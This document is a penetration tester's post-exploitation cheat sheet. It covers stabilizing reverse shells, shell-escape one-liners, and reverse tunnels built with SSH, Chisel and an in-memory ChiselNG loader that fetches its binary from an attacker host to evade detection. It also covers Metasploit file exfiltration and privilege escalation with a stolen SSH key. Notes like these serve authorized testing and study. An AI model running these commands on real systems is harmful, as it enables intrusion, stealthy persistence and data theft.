Overview

  • Once exploitation succeeds, access tends to be granted as least-privilege (ie, a locked-down service account specifically used for running the web app).
  • This stage essentially starts a new chapter for information gathering, as new recon is required to determine the best path forward into privilege escalation and/or lateral movement.
    • At the post-exploitation stage, pillaging is a new element for info gathering. This helps understand the role of the system and how it communicates with other systems that could be used for lateral movement or stealing credentials to re-use.
  • This stage can be the most critical for evasive testing. As simple commands like net user or whoami from a strange account or IP can trigger alerts and cause our comprised user account or host to become quarantined.
  • Data exfiltration can be an additional step during post-exploitation. This needs to be already stated in the scope, as the type of data could be under other regulations (HIPAA, PCI, GLBA.etc)
    • Dummy data could be created to test exfiltration and see if DLP, EDR or firewall systems detect this

Simple Shell to Interactive

The shell that connects back from a reverse shell is usually very easy to break. It could hang or crash at any moment, losing progress made to gain access. Upgrading the shell to be more stable can be crucial to further exploitation.

# after the revshell nc listener has hooked, spawn pseudo shell on victim
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL + Z to bg the reverse shell
attacker@hackbook:~$ echo $TERM                 # notate the result, i.e xterm-256color
attacker@hackbook:~$ stty -a                    # notate the rows and columns
attacker@hackbook:~$ stty raw -echo; fg         # enter tty raw mode (which will glitch the ui)
victim@hackbook:~$ export TERM=xterm-256color   # use same shell as the $TERM output from #1
victim@hackbook:~$ stty rows 36 columns 161     # use the rows and column from #2
# resume activity on victim

$ /bin/sh -i
$ find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
$ vim -c ':!/bin/sh'

$ perl -e 'exec "/bin/sh";'

exec "/bin/sh"

Reverse Tunneling

There may be services discovered on a host that are restricted to localhost or behind firewalls. This leaves two options. One - attempt to exploit the service directly through the shell or Two - set up a reverse tunnel to access this service directly. Tunneling is a great option for machines that have multiple NICs and could be a jumpbox between VLANs. By creating a tunnel, we essentially grant our attacker box access to new VLAN to recon and exploit.

SSH

As a pre-requisite, check the /etc/ssh/sshd_config on your attack box and ensure GatewayPorts yes is configured. Restart ssh with sudo systemctl restart ssh if necessary.

# on compromised machine, with ssh
# ssh -N -f -R <attacker_port>:127.0.0.1:<victim_port> <attacker_user>@<attacker_ip>
ssh -N -f -R 9000:127.0.0.1:80 [email protected]

It will then ask for credentials of your attackbox to bind the service. In this example, it binds port 9000 on the attack box to port 80 of the victim machine.

Chisel

You will need to download chisel onto the victim machine in order for this to work.

# on attacking machine, serve the directory for our chisel.exe
kali@kali:~$ windows-binaries
kali@kali:~$ python -m http.server

# victim machine, retrieve the chisel.exe binary from the attacker
user@victim > powershell.exe -c "iwr -URI 'http://10.10.10.10:8000/chisel_1.11.5_amd64.exe' -OutFile '.\chisel.exe'"

# attacker machine, spawn a chisel server to listen on port 9001
kali@kali:~$ chisel server --reverse --port 9001

# victim machine, spawn the client, forwarding local port 8443 to our attacker via port 9001 and make it accessible on attacker:8443
# .\chisel.exe client <attacker_ip>:<tunnel_port> R:<attacker_port>:127.0.0.1:<victim_port>
user@victim > .\chisel.exe client 10.10.10.10:9001 R:8443:127.0.0.1:8443

In this example, it uses port 9001 as a tunnel and takes the service from victim:8443 and makes it available as attacker:8443.

ChiselNG

A C# wrapper for chisel that allows Chisel to run completely in memory via .NET reflection. While this method starts the same by pulling the data via a web server, it doesn't actually write to disk on the victim machine, which can help in evading detection. ChiselNG can be found on GitHub.

# on attacking machine, serve the directory which contains ChiselNG.exe
kali@kali:~$ python -m http.server
# on attacking machine in another tab/window, setup reverse listener
kali@kali:~$ ./chiselng_amd64 server --reverse --port 9001

# victim machine, load ChiselNG into memory
user@victim > [System.Reflection.Assembly]::Load([System.Net.WebClient]::new().DownloadData('http://10.10.10.10:8000/ChiselNG.exe'))
# [ChiselNG]::Main('client <attacker_ip>:<tunnel_port> R:<attacker_port>:127.0.0.1:<victim_port>')
user@victim > [ChiselNG]::Main('client 10.10.10.10:9001 R:8443:127.0.0.1:8443')

Further Enumeration

Once on the machine, host enumeration will help discover new information that can be used to move laterally or elevate privileges.

Metasploit

After executing a payload through metasploit you can have multiple sessions to toggle back and forth between multiple compromised hosts.

# list current sessions
msf > sessions -l
# upgrade a non meterpreter session into a meterpreter session (use the number of the session from the list)
msf > sessions -u 1
# switch to a different session from the list
msf > sessions -i 2

If the payload is meterpreter, there are a number of additional options that can be used in the session. As of msf6, traffic via meterpreter is AES encrypted.

# transfer a file from attacker to victim
msf > upload <file>
# exfil a file from victim to attacker
msf > download <file>
# drop into a shell to interact with the target as the compromised user
msf > shell
# use CTRL+Z or bg to background a shell
# to see any backgrounded shells:
msf > channel -l
# to foreground the shell
msf > channel -i 1

Metasploit has a number of additional modules that can be ran after a meterpreter session is gained.

# run a script to try and find additional exploits that can be ran on the target
msf > search local exploit suggester
msf > use <#>
msf > set session <#>
msf > run

Localhost SSH Priv Esc with Private Key

I had to use this technique when I found another user's ssh key, but port 22 was not remotely accessible. I was able to priv esc from www-data to a standard user.

# wherever you find the ssh key, convert it to b64 with no line breaks
kali@kali:~$ echo user.id_rsa | base64 -w 0
# On the target, pass the b64 into ssh-agent to priv esc to the new user
www-data@target:~$ eval $(ssh-agent -s)
www-data@target:~$ echo "LS0...RFIEtFWS0tLS0t" | base64 --decode | ssh-add -
www-data@target:~$ ssh user@localhost

user@target:~$